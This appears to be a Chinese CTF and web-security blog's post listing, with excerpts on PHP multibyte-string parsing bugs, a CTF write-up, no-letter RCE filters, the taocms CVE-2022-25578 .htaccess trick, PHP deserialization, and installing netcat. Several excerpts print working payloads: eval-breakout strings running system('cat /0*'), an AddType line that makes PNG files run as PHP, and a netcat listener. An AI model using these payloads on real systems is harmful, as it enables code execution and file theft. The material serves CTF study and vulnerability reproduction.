8-5
经历了今晚,我只能说,老人所说的话真的是有道理的,不听老人言,吃亏在眼前😥😥。还有,失而复得的感觉belike……(请自行想象)。
PHP中mb_strpos与mb_substr详记
前言 在上次参加一个比赛的时候,第一次在比赛中看到反序列化题目中出现了mb_strpos和mb_substr这两个函数,当时看到那道题也是一头雾水,也不知道怎么做(还是知识太浅薄了),然后结束之后复现了两道题就因为一些事情不了了之了。不过把我气笑的是,那会该复现的下道题就是和这个知识点有关的题,看来还是得搞懂才行,这次又遇到不能放过了。
1.漏洞产生原因 mb_strpos和mb_substr以不同的方式处理无效的UTF-8序列,对某些不可见字符的解析差异导致漏洞。
参考链接:
https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/
https://www.cnblogs.com/gxngxngxn/p/18187578
2.搭建试验环境 在本地运行,然后访问http://127.0.0.1/flag.php
12345678910111213<?phphighlight_file(__FILE__);error_reporting(0);function substrstr($data)& ...
西瓜杯复现
官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1
Web一、CodeInject源码:
12345678<?php#Author: h1xaerror_reporting(0);show_source(__FILE__);eval("var_dump((Object)$_POST[1]);");
直接闭合即可
1231=1);system('cat /0*');//1=1);system('cat /0*');?>1=system('cat /0*')
二、tpdoor源码:
发现$isCache是可控的,又看到将$isCache赋值给了$config['request_cache_key'],在仅给出的php代码中找不到信息,应该靠的是ThinkPHP相关漏洞,就猜测在ThinkPhp最新版源码中查找信息。
全局搜索request_cache_key,发现两处
接下来开始审CheckRequestCache.p ...
Unicode对应编码
代码(十六进制) 显示 描述
U+0020 空格
U+0021 ! 叹号
U+0022 ‘’ 双引号
U+0023 # 井号
U+0024 $ 价钱/货币符号
U+0025 % 百分比符号
U+0026 & 英文“and”的简写符号
U+0027 ‘[ 引号](https://baike.baidu.com/item/ 引号/998963?fromModule=lemma_inlink)
U+0028 ( 开 左圆括号
U+0029 ) 关 右圆括号
U+002A * 星号(计算机的乘号)
U+002B +[ 加号](https://baike.baidu.com/item/ 加号/7804899?fromModule=lemma_inlink)
U+002C , 逗号
U+002D - 连字号/减号
U+002E . 句号
U+002F / 左斜杠
U+0030 0 数字 0
U+0031 1 数字 1
U+0032 2 数字 2
U+0033 3 数字 3
U+0034 4 数字 4
U+0035 5 ...
7-13总结
0ca2b35c8261f8c795eedabdc3bf52f2fcf7f46fbea3a83a0130a288c3b130462471d108affd3258306f3f87893d960dae049d3859c42d6e4a64a4f908388ab68199e4f422e7884f2522b3c9be5f99f6a72d114558263fe5d53f7f011715546c02b616b2c88b8f80addfd6f926f20586c75fc2408bed4a3e32e938ab68f7df4c8d132b9b65ad640a4aa850712ffe94677c0bab1e4e0347b391aad0e14f5c9d93407ab25b590a9ab97ac481ef53903496f0cfd5b808a99c36fa78aa16983e9e429250270fab5297ed7056eaf3092bf878d569660075f70261873edb1bf370e5ee42d6d48da7ab26c6f65bd0e316d0c8a691766216f575ac2a4 ...
RCE
无字母数字的命令执行(web55)12345678if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}
知识点:1.点命令 Linux中的点(.)命令,即source命令,可以用当前的shell执行一个文件中的命令,且是不需要file有x权限的。比如,当前运行的shell是bash,则. file的意思是用bash执行file文件中的命令
2.通配符的使用 glob支持**替代0个及多个字符
glob支持 ?代替1个任意字符
glob支持用[^x]的方法来构造“这个位置不是字符x”。
glob支持利用[0-9]来表示一个范围。
3.PHP保存文件机制 当PHP接收到新上 ...
CVE-2022-25578
CVE-2022-25578https://github.com/taogogo/taocms/issues/28
一、漏洞概述 taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
二、知识点1.什么是.htaccess文件:htaccess文件(或者分布式配置文件),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制
2..htaccess文件的功能:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
3.本漏洞的应用: 改变文件扩展名,我们需要在.htaccess文件末尾加上一下内容。
1AddType application/x-httpd-php .png
三、漏洞复现1.信息收 ...
php反序列化一道题详解
https://www.cnblogs.com/bkofyZ/p/17660907.html#comment_form_container
[NISACTF 2022]popchains什么是序列化定义:序列化就是将一个对象转换成字符串,反序列化则是将字符串重新恢复成对象
PHP序列化函数:serialize()
PHP反序列化函数:unserialize()
几个常用的魔术方法:
名称
触发时机
__construct()
在对象实例化(创建对象)的时候自动触发
__destruct()
在销毁对象的时候自动触发
__wakeup()
执行unserialize()时,先会调用这个函数
__sleep()
执行serialize()时,先会调用这个函数
__call()
在对象上下文中调用不可访问的方法时触发
__get()
访问私有或不存在的成员属性的时候自动触发
__set()
对私有成员属性进行设置值时自动触发
__isset()
对私有成员属性进行 isset 进行检查时自动触发
__unset()
对私有成员属性进行 unset 进 ...
php魔术方法
构造函数:__construct($u, $p),用于创建类的新实例时初始化用户名和密码。
__wakeup魔术方法:当使用unserialize反序列化对象时,此方法会被调用。如果用户名或密码不为空,程序将终止执行。
__invoke魔术方法:允许对象像函数一样被调用,执行eval函数,即执行$this->code变量中的代码。
__sleep魔术方法:在对象被序列化之前调用,这里它将用户名和密码设置为空字符串。
__unserialize魔术方法:在对象反序列化时调用,设置用户名、密码和code属性。
__destruct魔术方法:当对象被销毁时调用,如果code属性等于十六进制的0x36d(十进制的877),则将密码写入以用户名命名的文件中。
unserialize函数:最后,代码调用unserialize函数,传入通过GET请求获取的vip参数,这将创建ctfshowvip类的一个实例。
Windows10安装netcat
Windows10安装netcat1.下载地址
netcat-win32-1.12
https://eternallybored.org/misc/netcat/
注:下载的时候记得关防火墙
2.操作
解压netcat-win32-1.12.zip
配置解压好的目录路径到PATH环境变量
测试
打开命令行,输入以下命令:
12nc -hnc -l -p 9999 ----->监听9999端口,回车后即可发送内容
不配置环境变量直接使用netcat
直接将解压目录下的nc.exe复制到C:\Users\username目录下即可
Win+R输入cmd即可进行netcat连接